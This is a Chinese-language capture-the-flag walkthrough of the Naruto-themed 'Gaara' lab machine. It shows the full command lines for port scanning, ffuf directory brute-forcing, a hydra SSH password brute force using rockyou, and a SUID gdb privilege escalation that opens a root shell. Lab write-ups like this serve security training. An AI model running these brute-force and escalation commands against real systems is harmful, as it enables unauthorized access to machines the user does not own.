( 喜歡火影忍者的,可以來學一下角色的英文名字 XDD )
先來看看這台靶機上開了甚麼服務喔!
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.142 -type recon;
因為目前我們沒有有效的帳號密碼,所以現在只能朝 web 進攻
而且這個 web 除了我愛羅的臉以外,甚麼都沒有,目前有的選擇就是看看有沒有隱藏的路徑
在路徑爆破下面,我們可以發現一個叫做 Cryoserver 的頁面,裡面含著三個字串 http://gaara/Cryoserverffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://gaara/FUZZk
大概花了幾分鐘研究內容後,發現這些資訊都是對角色 Kazekage, Temari, Gaara 的背景描述
看起來幫不上甚麼忙...
因為網站目前沒甚麼有用資訊,在一個沒招的狀況下
爆破 SSH 帳號密碼變成唯一的路,目前使用者的候選人有 Gaara, Kazekage, Temari, iamGaara
一一拿下去配合 rockyou 爆破吧!
在分別爆破兩分鐘後,終於有結果 (感動~)
hydra -l gaara -P /usr/share/wordlists/rockyou.txt -t 8 ssh://192.168.155.142
利用 gaara 還有剛找到的密碼登入這台靶機,拿到第一個 flag
ssh gaara@$tIP
在上傳 Linpeas 收集資料後,我們發現了 SUID 裡面有可愛的黃底提示
趕快把 gdb拿去 GTFObin上查查 (https://gtfobins.github.io/gtfobins/gdb/#suid )
把 ./gdb 改成我們找到的 /usr/bin/gdb 後順利提權/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
第二支 flag get!